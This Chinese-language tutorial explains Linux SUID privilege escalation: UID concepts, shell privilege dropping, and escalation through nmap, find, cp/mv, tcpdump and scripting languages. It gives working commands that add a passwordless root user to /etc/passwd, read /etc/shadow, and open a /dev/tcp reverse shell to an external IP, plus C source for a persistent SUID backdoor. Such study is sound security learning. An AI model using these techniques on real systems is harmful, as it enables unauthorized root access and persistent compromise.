前言
之前有用过但是没总结过,顺带总结一下并且学习一下相关的内网渗透 & 提权的内容
SUID 基础
什么是SUID
suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,如果使用ls -la
列目录的话可以看到带有suid的可执行命令
比如这里的ping命令,其设置了s
位,具有suid属性,为什么要给ping设置这个属性呢。通常Linux运行一个程序,是使用运行当前这个程序的用户的权限。而ping命令需要发送ICMP报文,这个操作相应会发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的,所以要想让普通用户能使用ping命令,则附加给ping这个可执行文件suid的属性
下面这段话引自@P师傅:
设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,
/bin/ping
这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:
- Real UID 执行该进程的用户实际的UID
- Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
- Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)
通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的
/etc/passwd
;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
/etc/sudoers语法
在/etc/sudoers
的下面两个配置组下
1 | # User privilege specification |
这样的配置
1 | [用户/%用户组] [ALL/hostname]=(ALL/用户) [NOPASSWD:] [ALL/命令] |
第一个:被授权的root用户允许执行所有(ALL)计算机上,所有用户(ALL)的所有命令(ALL),且不需要密码(NOPASSWD)
第二个同理
查看具有SUID可执行文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
Linux shell的降权限制
在说suid提权之前,先简单谈谈Linux新版本(旧版可能不受限)对于/bin/[shell]
在具有SUID属性时的一些限制。详细内容可以参考P牛的文章
如何限制
根据上面参考链接的P牛的文章,可以知道Linux不同发行版会使用不同的shell,而不同的shell在不同的发行版、同一发行版的不同版本(新旧版本)对suid权限具有不同的限制:
/bin/dash
(Ubuntu和Centos中有不同的处理)在部分Centos系统中可以使用,不会受到降权限制
在Ubuntu中受到限制:当dash以suid权限运行、且没有指定
-p
选项时,将会丢弃suid权限,恢复当前用户权限。其底层的原因是会判断当前用户的Real UID和Effective UID是否相等,和bash
的做法基本一样/bin/bash
:需要-p
选项,否则bash会将Effective UID还原成Real UID,从而限制了suid提权或者其他shell,但是软链指向的是上面两个shell
限制什么
限制反弹shell
限制一系列命令(脚本语言的命令,awk等),这类命令本身不具有附加执行命令的选项,而只能通过调用外部执行命令的函数(如system)来执行命令,比如
1 | awk 'BEGIN {system('id')}' |
- …
在下文提到的suid提权方式中,有部分是可以执行命令的,那么肯定会想到反弹shell,但是会出现一个问题:反弹回来的shell还是原来的权限,并没有提权成root。细想一下也可以知道,比如举个find命令来执行命令的例子,网上大都这么写
1 | find test -exec nc -lvvp 8888 -e "/bin/sh" \; |
但如果在Ubuntu18.04或者其他较新版的Linux系统中,是无法得到提权的shell的。因为还是会受到上面所说的shell对suid的限制,其本质原因还是Real UID 和 Effective UID不相等(同时为0)的问题。因此我们需要想办法来突破这个限制,所以我们要切记
任何跟执行bin/[shell]
有关的,包括反弹shell,交互式shell都会受到上面所说的降权的限制!
任何跟执行bin/[shell]
有关的,包括反弹shell,交互式shell都会受到上面所说的降权的限制!
任何跟执行bin/[shell]
有关的,包括反弹shell,交互式shell都会受到上面所说的降权的限制!
突破降权
我们有这样的思路,已知一个可以执行命令的suid属性的可执行文件
通过该可执行文件给
\bin\bash
或\bin\dash
添加suid权限反弹shell时设置
-p
选项
还是以find为例:
1 | touch test |
这样子我们就可以拿到一个root的反弹shell了,或者直接拿正向shell也可以
SUID 提权
常见有以下几种,前提还是以下的可执行文件具有suid权限
1 | nmap |
nmap
常规提权
交互式提权:较旧版 2.20 - 5.20。可以使用交互式控制台来运行具有相同权限的shell
- 参数:
--interactive
- 可能的原因:要进行UDP或TCP SYN扫描,需要有root权限(要发送Raw Socket)
先查看版本
1 | nmap -V |
再进入交互式
1 | nmap --interactive |
然后通过一特殊语句得到具有超级用户权限的shell,这里才是真正提权的地方
1 | !sh |
!sh
的源码实现其实是调用了system('sh')
,也就是/bin/sh -c 'sh'
。并且其没有丢弃Effective UID也没有判断Effective UID和Real UID是否相等带来的不同权限操作。因此此方式能够成功提权
特殊姿势
在5.20版本之后,由于没有了--interactive
操作,我们需要另一种方式来辅助我们提权
--script
该参数能够执行一个.nse
脚本,可以进行文件读写,执行系统命令的操作(但这个执行系统命令仍然是当前用户的权限)
利用脚本,将下面一段写到/etc/passwd
中
1 | root2::0:0:[无密码]:/root:/bin/bash |
suid.nse
1 | local file = io.open("/etc/passwd", "a") |
执行
1 | nmap --script=suid.nse |
这样我们就可以切换root2用户来执行命令了,或者直接执行命令
1 | su root2 -c "id" |
cp & mv
覆盖/etc/passwd或/etc/shadow文件,写一个无密码的root权限的用户
1 | echo "root2::0:0:[无密码]:/root:/bin/bash" > passwd |
find
find命令配合-exec
选项可以执行额外的命令,其本意是使用额外的命令来处理find命令输出的结果,但如果find具有suid权限,则可配合其他命令来提权。
先创建一个空的文件,否则前面执行时会失败
1 | touch test |
- 直接利用root的权限:读写、执行等
1 | find test -exec cat /flag \; |
- 反弹shell:注意还是前面说到的,跟shell操作有关的都需要shell先具有suid权限,并且指定-p参数
1 | find test -exec bash -c -p 'bash -i -p &> /dev/tcp/192.168.170.130/8888 0>&1' \; |
bash & dash
1 | bash -p |
tcpdump
存疑!部分版本提权不成功!猜测可能是由于tcpdump的-z参数可能也采取了Real UID
和Effective UID
的检测
1 | echo $'id\ncat /etc/shadow' > /tmp/.test |
读文件的命令
只可以越权读文件
1 | 1.常规 |
脚本语言的命令
这类命令配合一些读文件操作比较好,调用系统函数的话大部分还是会受到前面说的限制。
1 | php |
留后门(已经是root身份)
当我们通过其他提权方式,或者SUID提权方式获得是root权限的shell,这时可以写入一个属主为root的suid.c
文件来留后门,其内容如下:
1 | int main(int argc, char* argv[]) { |
这里不能使用system(xxx)
函数,因为system函数底层实现是/bin/sh
,那么相当于/bin/sh -c 'xxx'
,这样我们就无法设置-p
选项了,我们可以换用execl
等exec系列的函数,还有一种方式是通过setuid(0)
来手动设置Real UID为0来使得Real UID等于Effective UID,从而绕过限制
1 | int main(int argc, char* argv[]) { |
然后编译一波,并给该文件加上suid权限
1 | gcc suid.c -o suid |
执行命令
1 | ./suid 'cat /etc/shadow' |
要想反弹shell的话,还是需要给/bin/[shell]
加上suid属性
总结
关于Linux的提权方式还有很多,这里的SUID仅仅是其中的一种,主要还是看了P牛的文章深刻理解了一波SUID提权的原理以及在shell受限的情况下如何拓宽思维去组合起来利用,本质上还是离不开Real UID
和Effective UID
的关系,尤其是反弹shell的时候需要特别注意,几个关键字要记一下:
Linux的shell对于suid的降权限制
组合拳利用:先修改
/bin/[shell]
也具有suid权限,然后再配合可执行命令的命令,附加-p
来反弹shell提权的小分类:
- find、tcpdump*、bash/dash可以执行命令,反弹shell要带-p
cp、mv、nmap(配合nse)可以写
root2::0:0::/root:/bin/bash
到/etc/passwd
读内容的命令 & 脚本语言
留后门(已经提权到root身份或者已root身份进入到shell中)
参考
https://www.anquanke.com/post/id/86979
https://jlkl.github.io/2020/01/27/Web_15/
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html